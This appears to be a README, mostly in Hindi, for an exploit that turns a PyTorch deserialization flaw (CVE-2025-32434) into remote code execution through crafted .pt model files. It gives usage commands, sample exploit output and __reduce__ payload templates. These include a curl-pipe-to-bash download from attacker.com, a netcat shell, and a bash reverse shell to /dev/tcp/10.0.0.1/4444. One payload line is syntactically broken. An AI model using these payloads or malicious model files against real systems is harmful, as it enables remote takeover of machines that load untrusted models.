
PyTorch में एक कमजोरी का शोषण करने और बाद में लाइब्रेरी संस्करणों < 2.6.0 में RCE प्राप्त करने के लिए एक स्क्रिप्ट।
यह एक्सप्लॉइट PyTorch संस्करण < 2.6.0 में एक गंभीर रिमोट कोड निष्पादन कमजोरी (CVE-2025-32434) प्रदर्शित करता है। यह दोष torch.load() फ़ंक्शन में मौजूद है, भले ही weights_only=True का उपयोग किया जाए, जो मॉडल डिसेरिएलाइज़ेशन के दौरान मनमाने कोड निष्पादन को रोकने वाला माना जाता है।
कमजोरी इसलिए होती है क्योंकि _weights_only_unpickler कार्यान्वयन डिसेरिएलाइज़ेशन को ठीक से प्रतिबंधित करने में विफल रहता है, जिससे हमलावर दुर्भावनापूर्ण .pt मॉडल फ़ाइलें बना सकते हैं जो कमजोर PyTorch इंस्टॉलेशन द्वारा लोड होने पर मनमाने सिस्टम कमांड निष्पादित करती हैं।
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
आउटपुट उदाहरण:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
create_malicious_model() या create_advanced_exploit() में reduce() विधियों को संपादित करें:
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
लक्ष्य कमजोरी की जाँच करें
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0